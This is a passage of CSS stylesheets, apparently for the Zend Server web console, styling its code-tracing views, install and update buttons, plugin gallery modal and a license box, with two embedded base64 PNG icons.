    background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAAAuCAYAAACYlx/0AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuNWWFMmUAAARfSURBVGhD7VpLSFRRGB4n2uiqFAUxXWXh+BxHZ1ITfFTgE8QHuNFBm0gQUgcMDQ03AxLBFEWCtTAQAnEjiBHiUBEtgnDRqoiKoAhCfLTISU/ffz3Xx53jzOjcOwWeHz7mcc75v+//7n/vPXPVlJub22G1Wlfy8/NZNEBc4Ow0aSIvL8+D8d/a+UYBOr5DR6WJBFVVVbG2traooLq6mqHYFV63Ejab7RSJamhoEK4xAhUVFWTCaxMRt7e3s4GBAUUcmWEE6urq2PDwMHM6nQzOM0QMr99UVlZmIR3d3d2st7dXuF4vtLS0KDoaGxupE95tG0DEJCw+Pl53JCQkKG03NDQU0gCXy8UsFoswT6RITk5mpaWl+xuQnZ3NoEd3mM3mAxmQnp4uzBMp4uLipAH/swGbsgOkAdIAaYA0QBogDZAGHFUD5EZIGiANkAZIA/6pASQsMTFRdyQlJYVjwPZdgJ4IifJEipSUlP0NGBwcZPX19cqzOyNADzyJOFQHuN1u4Xq90NrautcAq9Xqb25uZn19fVEBPZSEAX7UvW1AUVHRGTKAzBGtMQI1NTVkwCI9jx8n8mgCBjzitSuBI2KGjpeiuQZiEzrcxB+Di58dHy6oyMnJeUiT6Nn56OgoGxsbOzBGRkZYcXExPXv3E5Gam7iIk4h3B/iOZ2Vlle7ScBGmPCMdtbW1zOv1CnlCob+/nxUWFpKOZeRvU/Pjcxan3hsgvkbuUDvOzc2xhYWFQ2N6elppNZAtAVZOETKoIzD9ARVP7To/Py/MHy4mJiYYrjP0B5kPQDKnCQw400mkPT09wkSHwezsrHLxAfE3HIEUThU0oOO2zWZjHo9HmPMwmJqaUk14ixpjOdVO4MgXw/X1rq4u5vP5dMXMzAwrLy8n8hdNTU3HOKUwoMNJB4FOIVGuSDA5OckcDgfpGOd0O4Hi3xMxnbclJSW6w263KxcfHN0OThkQ6JAT0LFG80Q59ABdDyg/eBycdivgihO4GQ6Q4BMlIaBVP4vmiADSYRhwmlMGBHUHxvtEa0VQzeIFvRHN2Qc3CgoK4jntwQOLfSox3j/nX0c9UPQPVQeKGuNfGx/SAGmANODoGgCiNBAqt0wC7gK0u0rjw1EL7BdyYcCqqgPvfRkZGSf5sDFB+3MQBfxDFX2HPf4lPs3wgOFXwOkX6PiKA5LJp+kbIEgVFa8CY6vR6ARsls6Da0OkgQANH/EauNUNFYwxczCA1Ksl0wJz7orW6glwKL8QgwFzrorWarD1izQzM/McXPuC9v4TDEi6KSLbDZojWqsnRLxaoJ6QOrDjXMbrZWrtWW2CowIcsBW6oNwTDR4FwIBF6oBYtMN14E4wwKj7wLo2iQqM+WmOaK2egOjHIn4VGP8pWqcFtHpw20xVrgPhBp0zIAg4D/HdBuDi0wwPiL+l1cB1rKG4Sj7NmMD9vgQC5kD2i4D3T+nWxIejFii0EfyvUDj9g/USdDzB61k+HGaYTH8Begb5ujRObX4AAAAASUVORK5CYII=');
}

#client-settings-section.debugger-settings-section {
    background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuNWWFMmUAAAM5SURBVHhe7ZrJaxRBFIfHBRQXEMWoxMQlikskl0HQoxAFPRglYkRERSEKEoQgBMWDetSDB8GTB1EUbx7EgweXg96CuGE0MX+Lfq8rA532TaeX6s5U9fzgA5OqflXfC870VE+tnXbaSZIFsBd6g58qlDVwA/7AO1gKlcgSuFmv1/824OfVwUgFshU+R+QvByMVSG9YPNSAPWbY73Ro8gJjPWaK33mpyQuMHTBT/M0hTbwB44/NtFKzG7rNP4vPB008DHP2m6ml5fjMuvKiXGh6orLNYO5Gc0kpORVad5v5VTEZCUvGwdwJ2BxcVXxOR9bebn5tP0/CCyWBa/rNpYXmjLLuDjNkNx+jCyWB6x7AqqBCMTnbZF3rTZjQFkoK11+FZUElu1EbIDBmtQlT2iJpoc4t6Aoq2knTBgiMW2vCrPv+vFDvDVyA9VI8R2IbIDBnl5maL6+14jag9jjcg2Mgb6ELIWnmbIDAvNxNuK8VLgrWewsP4RoMwj6Qmx05e1gBcuYgH8cvatdrMDdXE/57u3ERPDI3oUsr6CK4ZG7CF62gi+CS6d3hulbMVfBJ3YROrZDL4JS6Cc+1Qi6DU6oPUH1aEdfBK1UTnmlFXAevxE3o1gr4AG6JD3ZHtQI+gNsWoxifRfBeK+ADuCU60fL2v4KA3yajGZ9+7WIfwE0e9iY64L2iFfAB3H7DhsByjtzRCvgAbi+MYnzkyxF3tQIug5Mc8Sc+tZIm3NYKuQguk9ApYmkzrBV0CRymINcTroNaYRdg7yJv5eRa3kc/aYu0KuxX5K0+bV4Ms75H1Kqwz2lIdPOTJX2Q6fFaGbC3QuUbkc8P57UNzCfsqRT5cJbDmLaZsmEfpcuHsxJGYVrbXNGwrrzgzZt8OPJCOQCvtI0WAWvJTY7Nh7TWIh88RqCwswZqt6x8NGthCB7BpCaTFur8gjK/w2Q1HXAYxuApjGuSzWC+yGe6t2/lXNJkozDPS3nJOU04DHN+gpfyktjH9oyLfKITHVczpIkLjHkvLznZRP4HeC8vOaHIf4d1wWgFMhiRl798ZeQlAyH5b1ApecnRGfmvIHeOlcsRqKy8ZCdUVr6ddkpJrfYPlMkKOn+5WYcAAAAASUVORK5CYII=');
}


@CHARSET "UTF-8";

.codetracing-error-icon {
	color: red;
}

.ct-general-details-top {
    height: 95px;
}

.ct-general-details-top ul li {
    height: 48px;
}

#code_trace_ui_container {
    margin-top: 10px;
    padding: 3px;
}

.codetracing-lite-icon {
	float: right; 
	margin-right: 5px; 
	line-height: 30px;
	color: orange;
	font-size: 16px;
}

.codetracing-numeric-column {
    text-align: right;
}

.create-codetrace-part {
    margin-left: 10px;
}

.create-codetrace-part:first-child {
    margin-left: 0;
}

#code-trace-url {
    width: 750px;
}

/* THE NEW CODETRACING-HTML PAGE */

.codetracing-invisible {
    visibility: hidden;
}

.codetracing-disabled-label {
	color: #AAA;
}

#codetracing-information {
    margin: 10px 0 20px 0;
    box-sizing: border-box;
    overflow: hidden;
}

#codetracing-information h2 {
    font-size: 20px;
    line-height: 20px;
    padding: 0;
    margin: 0;
    color: #2774A0;
    margin-bottom: 10px;
}

#codetracing-information h3 {
    font-size: 18px;
    line-height: 24px;
    padding: 0 180px 0 10px;
    margin: 0;
    color: #48A9C5;

	white-space: nowrap;
	overflow: hidden;
	text-overflow: ellipsis;
}
#codetracing-information h3.codetracing-url-title-short {
	padding-right: 320px;
}

#codetracing-information .codetracing-more-details {
    margin-top: -25px;
}

#codetracing-information ul {
    overflow: hidden;
    padding: 0;
}

#codetracing-information li {
    float: left;
    width: 25%;
    height: 30px;
    white-space: nowrap;
    text-overflow: ellipsis;
    line-height: 30px;
    padding: 0 10px;
    margin: 0;
}

#codetracing-information li.spacer {
    height: 1px;
    width: 100%;
    line-height: 1px;
    border-bottom: 1px solid #CCC;
    clear: both;
}

#codetracing-information li .codetracing-details-trace-type-icon {
	display: inline-block;
	vertical-align: middle;
	margin-bottom: 2px;
}

#codetracing-information li span.codetracing-info-label {
    width: 30%;
    dispay: inline-block;
    padding-right: 10px;
    text-align: right;
    font-weight: bold;
    color: #48A9C5;
}

#codetracing-information button {
	margin-left: 10px;
}

.codetracing-buffer-size-exceeded {
	float: right;
	color: #C11;
	vertical-align: middle;
	line-height: 34px;
	padding: 0 20px;
	background: #FFF7C9;
	margin-right: 0 !important;
}

.codetracing-panel .ui-grid-row .ui-grid-cell {
	font-family: consolas, monospace;
    text-overflow: ellipsis;
    white-space: nowrap;
	border-bottom: none;
	font-size: 13px;
}

#codetracing-tree-wrapper .codetracing-panel .ui-grid-row .ui-grid-cell {
	font-size: 12px;
}

#codetracing-grid {
    overflow: hidden;
}

.codetracing-chevron:hover {
    color: #2774A0;
}

#codetracing-grid .ui-grid-top-panel {
    border-top: none;
}

#codetracing-grid .glyphicons-chevron-right,
#codetracing-grid .glyphicons-chevron-down {
	opacity: 0.7;
	width: 20px;
}

#codetracing-functions {
    overflow: hidden;
}

.codetracing-tree-actions,
.codetracing-functions-actions {
    padding: 10px;
    height: 47px;
    box-sizing: border-box;
    line-height: 27px;
}

#codetracing-tree-actions-form {
    position: relative;
}

.codetracing-tree-search-action-icon {
    cursor: pointer;
    position: absolute;
    z-index: 101;
    right: 5px;
    opacity: 0.5;
}

#codetracing-grid-curtain, .codetracing-grid-curtain {
    position: absolute;
    background: #FFF;
    opacity: 0.9;
    z-index: 101;
}

#codetracing-grid-curtain-text, .codetracing-grid-curtain-text {
    text-align: center;
    position: absolute;
    z-index: 102;
}


.codetracing-panel [ui-grid-row]>div:last-child {
	padding-right: 15px;
}

.codetracing-ui-grid-cell {
    padding: 0 5px;
    line-height: 26px;
    white-space: nowrap;
    text-overflow: ellipsis;
}
.codetracing-ui-grid-url {
	display: block;
	Xwidth: 100%;
	overflow: hidden;
	text-overflow: ellipsis;
	box-sizing: border-box;
}

#codetracing-tree-wrapper .codetracing-ui-grid-cell {
    line-height: 22px;
}
.codetracing-time-consuming-bar-wrapper {
    margin: 2px 0;
    height: 26px;
    padding: 0px 0px 0px 8px;
    box-sizing: border-box;
}
#codetracing-tree-wrapper .codetracing-time-consuming-bar-wrapper {
    height: 22px;
	position: relative;
	overflow: hidden;
}

.codetracing-time-consuming-bar-text {
    height: 26px;
    position: absolute;
    z-index: 2;
    color: white;
    text-align: center;
    line-height: 26px;
}
#codetracing-tree-wrapper .codetracing-time-consuming-bar-text {
    height: 22px;
    line-height: 22px;
}

.codetracing-time-consuming-bar-main {
    height: 26px;
    position: absolute;
    z-index: 1;
    background: #2774A0;
}
#codetracing-tree-wrapper .codetracing-time-consuming-bar-main {
    height: 22px;
}

.codetracing-time-consuming-bar-background {
    height: 26px;
    background: rgba(72, 169, 197, 0.7);
}

#codetracing-tree-wrapper .codetracing-time-consuming-bar-background {
	height: 22px;
}

.ui-grid-row .ui-grid-cell.codetracing-most-time-consuming {
    background: #FFF7C9;
}

.ui-grid-row .ui-grid-cell.codetracing-most-time-consuming.codetracing-selected-tree-node,
.ui-grid-row .ui-grid-cell.ct-selected-function,
.ui-grid-row .ui-grid-cell.ct-selected-function-call {
    background: rgba(39, 116, 160, 0.5);
    font-weight: bold;
}

.codetracing-highlighted {
    background: yellow;
}

.codetracing-copy-to-clipboard-icon {
    cursor: pointer;
    float: right;
    line-height: 24px;
    padding: 0 5px;
}

.codetracing-file-name {
	text-overflow: ellipsis; 
	overflow: hidden;
}

.ui-grid-row .ui-grid-cell span.codetracing-function-name-in-tree {
    cursor: default;
}

.ui-grid-row .ui-grid-cell span.codetracing-function-name-in-tree:hover {
    color: #2774A0;
}

#codetracing-function-list-search,
#codetracing-tree-search {
	width: 300px;
	padding-right: 130px;
	text-overflow: ellipsis;
	box-sizing: border-box;
}


.codetracing-function-data-wrapper {
	height: 160px;
	overflow: hidden;
	border-left: 3px solid #FA2;
}

.codetracing-function-data-wrapper h2 {
	padding: 5px 10px;
	font-size: 14px;
	color: #2774A0;
	background: #F6FAFC;
	border-bottom: 1px solid #DEF;
}

.codetracing-function-data-panel {
	width: 50%; 
	float: left; 
	padding: 10px; 
	box-sizing: border-box;
	overflow: auto;
	height: 140px;
}

.codetracing-function-data-panel h3 {
	margin-bottom: 10px;
}
.codetracing-function-data-panel ul {
	padding: 0;
	margin: 0;
}
.codetracing-function-data-panel ul li {
	white-space: nowrap;
	text-overflow: ellipsis;
	overflow: hidden;
	line-height: 20px;
}

@media (max-width: 1280px) {
	#codetracing-function-list-search,
	#codetracing-tree-search {
		width: 260px;
		padding-right: 30px;
		text-overflow: ellipsis;
	}
}

#codetracing-function-list-search,
#codetracing-tree-search {
    float: right;
    margin-right: 5px;
}

#codetracing-tree-search-label {
    position: absolute;
    z-index: 101;
    right: 5px;
}

#codetracing-tree-search-label .fa {
	margin-right: 4px;
	margin-left: 4px;
}

#codetracing-errors-navigation {
	display: inline-block;
	margin-left: 30px;
	color: #C11;
}

.codetracing-function-list-search-filled,
.codetracing-tree-search-filled {
    background: #FFF7C9;
}

#codetracing-tree-search[readonly] {
    background: #EEE;
    color: #666;
}

.codetracing-panel {
    border: 1px solid #DDD;
    border-top: none;
}

.codetracing-panel .ui-grid .fa {
	margin-right: 9px;
	margin-left: 9px;
}
.ui-grid .codetracing-file-path-grid-cell .fa {
	margin: 0;
}
.codetracing-file-path-buttons {
	float: right;
	white-space: nowrap;
}
.codetracing-file-path-buttons .codetracing-copy-to-clipboard-icon {
	float: none;
	display: inline-block;
}

#codetracing-function-data-wrapper {
    overflow: auto;
}

.codetracing-function-data-box {
    margin: 5px 5px 0 0;
	overflow: auto;
    float: left;
    width: 49%;
}

.codetracing-function-calls {
    overflow: hidden;
}

.codetracing-function-calls-header {
    margin: 0;
    padding: 5px 0 0 5px;
    font-size: 14px;
    line-height: 25px;
}

.codetracing-function-calls-header-actions {
	
}

#codetracing-function-call-data dl {
    margin: 0;
}

#codetracing-function-call-data dt {
    display: block;
    font-weight: bold;
    background: rgba(39, 116, 160, 0.5);
    line-height: 26px;
    padding: 0 10px;
}

#codetracing-function-call-data dd {
    display: block;
    overflow: hidden;
    text-overflow: ellipsis;
    min-height: 26px;
    line-height: 26px;
}

.settings-form-wrapper #codetracing-settings button[type="submit"] {
    background: #43AFE0;
    color: white;
}

.settings-form-wrapper #codetracing-settings input[type="number"] {
    width: 50px;
}

form.codetracing-settings-new-host-invalid input[type="text"],
form.codetracing-settings-new-host-invalid input[type="number"] {
    border: 1px solid #C11;
    background: #FFE;
}

.codetracing-allowed-hosts-wrapper ul {
    padding: 0;
    margin: 10px 0 0 0;
    color: #FFFFFF;
}

.codetracing-allowed-hosts-wrapper ul li {
    display: inline-block;
    margin-right: 10px;
    padding: 2px 5px;
    background: #43AFE0;
}

.codetracing-allowed-hosts-wrapper a.codetracing-allowed-hosts-remove {
    float: right;
    margin-left: 5px;
    color: #FFFFFF;
    text-decoration: none;
}

#codetracing-scroll-to-bottom {
    margin-left: 45px;
}

#codetracing-settings-page-curtain {
    width: 100%;
    background: #FFF;
    opacity: 0.6;
    position: absolute;
    z-index: 99;
}


#codetracing-manual-trace-form select, 
#codetracing-manual-trace-form input[type="text"] {
    background: #FFF;
}

#codetracing-manual-trace-form-first-row {
	position: relative;
}

#codetracing-manual-trace-input, #codetracing-manual-trace-parameters-input {
	width: 750px;
    height: 27px;
	box-sizing: border-box;
	padding-right: 25px;
	text-overflow: ellipsis;
}

#codetracing-recent-manual-code-traces-button {
	position: absolute;
	left: 730px;
	top: 5px;
	z-index: 1;
}

#codetracing-recent-manual-code-traces {
	position: absolute;
	left: 0;
	top: 26px;
	
	width: 748px;
	
	background: #FFF;
	border: 1px solid #DDD;
	box-shadow: 0 3px 5px rgba(0,0,0,0.3);
	
	z-index: 1;
}
#codetracing-recent-manual-code-traces ul {
	margin: 0;
	padding: 0;
}

#codetracing-recent-manual-code-traces ul li {
	padding: 5px;
	box-sizing: border-box;
	overflow: hidden;
}
#codetracing-recent-manual-code-traces ul li a {
	text-decoration: none;
}
#codetracing-recent-manual-code-traces ul li span.codetracing-manual-request-method {
	display: inline-block;
	width: 50px;
}

#codetracing-recent-manual-code-traces ul li:hover {
	background: #EEE;
}

.codetracing-manual-form-second-row {
	margin-top: 10px;
}

.codetracing-list-actions-column {
	text-align: center;
	color: #2774A0;
}
.codetracing-list-actions-column button {
	color: #2774A0;
}
#codetracing-toolbar {
	margin-bottom: 5px;
	margin-top: 10px;
}
#codetracing-traces-list #codetracing-toolbar #codetracing-toolbar-right-side {
	float: right;
}

.ui-grid-row:hover>[ui-grid-row]>.ui-grid-cell .codetracing-delete-button {
	opacity: 1;
}

.codetracing-delete-button {
	opacity: 0.5;
	width: 32px;
	height: 22px;
	overflow: hidden;
	margin: 4px 19px;
	display: block;
	background: url('/ZendServer/images/apps-delete-button-all.png') 0 0 no-repeat;
}


.codetracing-delete-button:hover, 
.codetracing-delete-button:active {
	background-position: -64px 0;
}
button.install-button {
    -webkit-transition: opacity 0.2s;
    transition: opacity 0.2s;
}

button.install-button:enabled:not(.disabled):hover, button.install-button:enabled:not(.disabled):active {
    color: #fff;
}

button.install-button,
button.download-button {
    background-color: #52a8e8;
    background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #52a8e8), color-stop(100%, #377ad0));
    background-image: -webkit-linear-gradient(top, #52a8e8, #377ad0);
    background-image: -moz-linear-gradient(top, #52a8e8, #377ad0);
    background-image: -ms-linear-gradient(top, #52a8e8, #377ad0);
    background-image: -o-linear-gradient(top, #52a8e8, #377ad0);
    background-image: linear-gradient(top, #52a8e8, #377ad0);
    border-top: 1px solid #4081af;
    border-right: 1px solid #2e69a3;
    border-bottom: 1px solid #20559a;
    border-left: 1px solid #2e69a3;
    border-radius: 2px;
    -webkit-box-shadow: inset 0 1px 0 0 #72b9eb, 0 1px 2px 0 #b3b3b3;
    box-shadow: inset 0 1px 0 0 #72b9eb, 0 1px 2px 0 #b3b3b3;
    color: #fff;
    font: normal 12px/1 "lucida grande", sans-serif;
    padding: 3px 5px;
    text-align: center;
    text-shadow: 0 -1px 1px #3275bc;
    width: 112px;
    -webkit-background-clip: padding-box;
}

button.install-button:hover,
  button.download-button:hover {
    background-color: #3e9ee5;
    background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #3e9ee5), color-stop(100%, #206bcb));
    background-image: -webkit-linear-gradient(top, #3e9ee5 0%, #206bcb 100%);
    background-image: -moz-linear-gradient(top, #3e9ee5 0%, #206bcb 100%);
    background-image: -ms-linear-gradient(top, #3e9ee5 0%, #206bcb 100%);
    background-image: -o-linear-gradient(top, #3e9ee5 0%, #206bcb 100%);
    background-image: linear-gradient(top, #3e9ee5 0%, #206bcb 100%);
    border-top: 1px solid #2a73a6;
    border-right: 1px solid #165899;
    border-bottom: 1px solid #07428f;
    border-left: 1px solid #165899;
    -webkit-box-shadow: inset 0 1px 0 0 #62b1e9;
    box-shadow: inset 0 1px 0 0 #62b1e9;
    cursor: pointer;
    text-shadow: 0 -1px 1px #1d62ab;
    -webkit-background-clip: padding-box;
}

button.install-button:active,
  button.download-button:active {
    background: #3282d3;
    border: 1px solid #154c8c;
    border-bottom: 1px solid #0e408e;
    -webkit-box-shadow: inset 0 0 6px 3px #1657b5, 0 1px 0 0 white;
    box-shadow: inset 0 0 6px 3px #1657b5, 0 1px 0 0 white;
    text-shadow: 0 -1px 1px #2361a4;
    -webkit-background-clip: padding-box;
}

button[disabled].install-button,
button[disabled].install-button:hover,
button[disabled].install-button:active {
    background-color: #dadada;
    background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #dadada), color-stop(100%, #f3f3f3));
    background-image: -webkit-linear-gradient(top, #dadada, #f3f3f3);
    background-image: -moz-linear-gradient(top, #dadada, #f3f3f3);
    background-image: -ms-linear-gradient(top, #dadada, #f3f3f3);
    background-image: -o-linear-gradient(top, #dadada, #f3f3f3);
    background-image: linear-gradient(top, #dadada, #f3f3f3);
    border-top: 1px solid #c5c5c5;
    border-right: 1px solid #cecece;
    border-bottom: 1px solid #d9d9d9;
    border-left: 1px solid #cecece;
    -webkit-box-shadow: none;
    box-shadow: none;
    color: #8f8f8f;
    cursor: auto;
    text-shadow: 0 -1px 1px #ebebeb;
}

button.install-button::-moz-focus-inner {
    border: 0;
    padding: 0;
}

button.update-button,
button.update-button:hover,
button.update-button:active {
    background-color: orange;
    background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #FBBF6A), color-stop(100%, #EF9D2A));
    background-image: -webkit-linear-gradient(top, #FBBF6A, #EF9D2A);
    background-image: -moz-linear-gradient(top, #FBBF6A, #EF9D2A);
    background-image: -ms-linear-gradient(top, #FBBF6A, #EF9D2A);
    background-image: -o-linear-gradient(top, #FBBF6A, #EF9D2A);
    background-image: linear-gradient(top, #FBBF6A, #EF9D2A);
    border: 1px solid #C47800;
    text-shadow: 0 -1px 1px #AA630A;
    box-shadow: inset 0 1px 0 0 #FFC283, 0 1px 2px 0 #b3b3b3;
    -webkit-box-shadow: inset 0 1px 0 0 #FFC283, 0 1px 2px 0 #b3b3b3;
}

button.update-button:hover {
    opacity: 0.9;
}

.form-group {
    display: inline-block;
    margin-right: 5px;
}

.form-group label {
    margin-right: 5px;
}

[template] {
    display: none !important;
}

.plugin {
    width: 450px;
    display: inline-block;
    border: 1px solid #DEDEDE;
    margin: 5px;
    box-shadow: 1px 1px 1px rgba(245, 245, 245, 0.5);
    vertical-align: top;
}

.plugin-logo img {
    width: 50px;
    border-radius: 5px;
}

.plugins-wrapper {
    display: flex;
    flex-wrap: wrap;
    clear: both;
}

.plugins-wrapper [pr] {
    display: none;
}

.plugin .plugin-top {
    padding: 15px;
    position: relative;
    background: #FBFBFB;
    min-height: 110px;
}

.plugin .plugin-logo {
    position: absolute;
    top: 10px;
    left: 10px;
}

.plugin .name, .plugin .desc {
    margin-left: 60px;
    width: 250px;
}

.plugin .action-links {
    position: absolute;
    top: 10px;
    right: 5px;
    width: 120px;
    text-align: center;
}

.plugin .plugin-bottom {
    border-top: 1px solid #F3F3F3;
    padding: 10px;
}

.plugin .downloads {
    position: absolute;
    bottom: 0px;
    right: 0;
    margin-right: 10px;
    font-size: 10px;
    margin-bottom: 5px;
}

.plugin a.author_link {
    text-decoration: none;
}

.plugin .author-social {
    float: right;
}

.plugin .author-social img {
    opacity: 0.5;
    -webkit-transition: opacity 0.5s;
    transition: opacity 0.5s;
}

.plugin .author-social a:hover img {
    opacity: 1;
}

.plugin .author-social a[href=""] {
    display: none;
}

.plugin .author-social a[rel="fb"] img {
    margin-bottom: 1px;
}

.plugin a {
    color: #007AAB;
}

.plugin .desc {
    height: 85px;
    overflow: hidden;
}

.plugin .more-details-button {
    display: inline-block;
    margin: 5px 0;
    font-size: 12px;
}

.plugin label.version {
    position: absolute;
    bottom: 15px;
    right: 0;
    margin-right: 10px;
    font-size: 10px;
    margin-bottom: 5px;
}

.plugin-modal {
    width: 770px;
}

.plugin-modal table td {
    padding: 0 15px 5px 0;
}

.plugin-modal table {
    width: auto;
}

.plugin-modal .plugin-cover {
    background-color: rgb(232, 232, 232);
    height: 180px;
    position: relative;
    overflow: hidden;
    background-size: 770px 250px;
}

.plugin-modal .plugin-cover label.version {
    position: absolute;
    bottom: 11px;
    right: -15px;
    padding: 3px 20px 3px 6px;
    color: #fff;
    background: rgba(0, 0, 0, 0.6);
    border-radius: 6px;
}

.plugin-modal .plugin-cover h2 {
    padding: 10px 15px;
    background: rgba(0, 0, 0, 0.8);
    display: inline-block;
    color: #fff;
    border-radius: 5px 20px;
    position: absolute;
    bottom: 10px;
    left: 10px;
    font-size: 18px;
}

.plugin-modal .content-tabs>div {
    padding: 10px 20px;
}

.plugin-modal .content-tabs .changelog pre {
    padding-left: 40px;
}

.plugin-modal .content-tabs .changelog code {
    white-space: pre-line;
}

.plugin-modal .plugin-gallery .img {
    background-repeat: no-repeat;
    background-position: center;
    background-size: contain;
    overflow: hidden;
    height: 200px;
    width: 335px;
    display: inline-block;
    cursor: -webkit-zoom-in;
    cursor: -moz-zoom-in;
}

.plugin-modal .plugin-gallery .plugin-gallery-items-wrapper {
    overflow: hidden;
    height: 210px;
    width: 720px;
    margin: 0 auto;
    padding-left: 10px;
}

.plugin-modal .plugin-gallery .plugin-gallery-items {
    -webkit-transition: 1s all ease;
    transition: 1s all ease;
}

.plugin-modal .plugin-gallery {
    position: relative;
    border-top: 1px solid rgb(232, 232, 232);
    padding-top: 10px;
}

.plugin-gallery a.glyphicons {
    position: absolute;
    top: 50%;
    margin-top: -5px;
}

.plugin-gallery a.glyphicons i::before {
    cursor: pointer;
    color: rgb(108, 108, 108);
    -webkit-transition: 0.3s color;
    transition: 0.3s color;
}

a.plugin-gallery-prev.glyphicons.chevron-left {
    left: 0px;
}

a.plugin-gallery-next.glyphicons.chevron-right {
    right: -10px;
}

.plugin-gallery a.glyphicons:hover i::before {
    color: #000;
}

.plugin-modal .plugin-gallery .plugin-gallery-items>* {
    margin-right: 5px;
}

img.plugin-modal-zoom-image {
    max-width: 100%;
    max-height: 100%;
}

.plugin-modal nav.tabs {
    border-bottom: 2px solid rgb(232, 232, 232);
    font-size: 0;
}

.plugin-modal .tabs a {
    cursor: pointer;
    display: inline-block;
    padding: 10px 20px;
    color: rgb(120, 120, 120);
    text-decoration: none;
    position: relative;
    -webkit-transition: 0.5s all;
    transition: 0.5s all;
    font-size: 13px;
}

.plugin-modal .tabs a.selected {
    font-weight: bold;
}

.plugin-modal .tabs a:not(.selected):hover:before {
    border-bottom: 2px solid rgba(105, 151, 26,0.3);
}

.plugin-modal .tabs a.selected:before {
    border-bottom: 2px solid rgb(105, 151, 26);
}

.plugin-modal .tabs a:before {
    content: " ";
    position: absolute;
    left: 0;
    right: 0;
    bottom: -2px;
    border-bottom: 2px solid transparent;
    -webkit-transition: 0.5s border-bottom;
    transition: 0.5s border-bottom;
}

.plugin-modal .content-tabs {
    height: 120px;
    overflow: hidden;
    overflow-y: auto;
}

.plugin-modal ul {
    margin: 5px;
    padding-left: 15px;
    list-style: initial;
}

.plugin-modal footer {
    background: #E8E8E8;
    margin-top: 20px;
    padding: 10px;
    text-align: right;
}

.plugin-modal footer button.install-button,
.plugin-modal footer button.download-button {
    height: auto;
    padding: 8px 5px;
}

.plugin-modal footer button.download-button {
    height: 30px;
    padding: 10px 0px;
    width: 30px;
    margin-left: -1px;
}

.plugin-modal footer button.download-button i:before {
    font-size: 16px;
    margin-top: -10px;
    opacity: 0.7;
}

.plugin-modal footer button.download-button i:hover:before {
    opacity: 1;
    color: white;
}

.plugin-action-buttons button.download-button {
    display: none;
}

@media (min-height: 700px) {
    .plugin-modal .plugin-cover {
        height: 220px;
    }
}

@media (max-height: 700px) {
    .plugin-modal .plugin-gallery {
        zoom: 0.8;
    }

    a.plugin-gallery-prev.glyphicons.chevron-left {
        left: 70px;
    }

    a.plugin-gallery-next.glyphicons.chevron-right {
        right: 70px;
    }
}

@media (min-height: 750px) {

    .plugin-modal .plugin-cover {
        height: 250px;
    }

    .plugin-modal .content-tabs {
        height: 120px;
    }

    .plugin-modal .plugin-gallery {
        zoom: 1;
    }

    a.plugin-gallery-prev.glyphicons.chevron-left {
        left: 0px;
    }

    a.plugin-gallery-next.glyphicons.chevron-right {
        right: -10px;
    }
}

@media (min-height: 850px) {
    .plugin-modal .content-tabs {
        height: 200px;
    }
}

@media (min-height: 900px) {
    .plugin-modal .content-tabs {
        height: 300px;
    }
}

[cat="plugins"] tr[sub-section] > td:first-child {
    padding-left: 50px;
    border-left: 2px solid #48A9C5;
}

.float-right-updates-plugins {
    margin-top: 7px;
}

.right-link-above-table {
    display: inline-block;
    vertical-align: middle;
    float: right;
    margin-top: 7px;
    margin-right: 7px;
}

.plugin-modal a.close {
    z-index: 1;
    color: #fff;
    background: #000;
    padding: 0px 5px;
    border-radius: 4px;
    -webkit-transition: 0.2s opacity;
    transition: 0.2s opacity;
    position: absolute;
    right: 10px;
    top: 10px;
    text-decoration: none;
    opacity: 0.5;
}

.plugin-modal a.close:hover {
    opacity: 1;
    color: #fff;
}

td.zgrid_td.zgrid_td-displayName {
    word-break: break-all;
    text-overflow: ellipsis;
}

.plugins .pager nav {
    position: absolute;
    margin-left: 167px;
    top: 0;
}

.plugins .pager {
    margin: 5px 5px 0;
    height: 24px;
    position: relative;
    padding-top: 5px;
    margin: 5px 5px 0;
    height: 24px;
    position: relative;
    padding-top: 5px;
}

.plugins .pager a {
    padding: 5px 8px;
    border: 1px solid #ccc;
    display: inline-block;
    float: left;
    border-right: 0;
    text-decoration: none;
    color: #2774A0;
    -webkit-transition: 0.3s background;
    transition: 0.3s background;
    cursor: pointer;
}

.plugins .pager a:last-child {
    border-right: 1px solid #ccc;
    border-top-right-radius: 3px;
    border-bottom-right-radius: 3px;
}

.plugins .pager a:first-child {
    border-left: 1px solid #ccc;
    border-top-left-radius: 3px;
    border-bottom-left-radius: 3px;
}

.plugins .pager a.active,
.plugins .pager a:hover {
    background: rgb(244, 244, 244);
}

.loader {
    padding: 100px 0;
    text-align: center;
}

form#plugins-search input,
form#plugins-search select {
    font-size: 14px;
    height: auto;
    padding: 4px;
    width: auto;
    border: 1px solid #CECECE;
    font-weight: normal;
    -moz-border-radius: 2px;
    -webkit-border-radius: 2px;
    -khtml-border-radius: 2px;
    border-radius: 2px;
}

form#plugins-search input[type="text"],
form#plugins-search select {
    background: #FFF;
}

form#plugins-search input[type="checkbox"] {
    vertical-align: middle;
    margin-bottom: 2px;
}

.plugins-gallery-modal {
    max-height: 80%;
    max-width: 80%;
}

.plugin-modal footer .btn-group button {
    float: left;
    position: relative;
    display: inline-block;
}

.plugin-modal footer .btn-group {
    position: relative;
    display: inline-block;
    vertical-align: middle;
}

#plugins-table i.glyphicons.glyphicons-info-sign {
    color: #0171A1;
    font-size: 15px;
}

.plugin-modal ul[rn-carousel] > li {
    width: 355px;
    height: 210px;
}

.plugin-modal .rn-carousel-control.rn-carousel-control-next:before {
    content: "\E224";
    margin-right: -15px;
}

.plugin-modal .rn-carousel-control.rn-carousel-control-prev:before {
    content: "\E225";
    margin-left: -15px;
}
@CHARSET "UTF-8";

#license_display_box {
    width: 615px;
    border: 1px solid grey;
    margin: 10px;
    padding: 10px;
}

#license_display_box h2 {
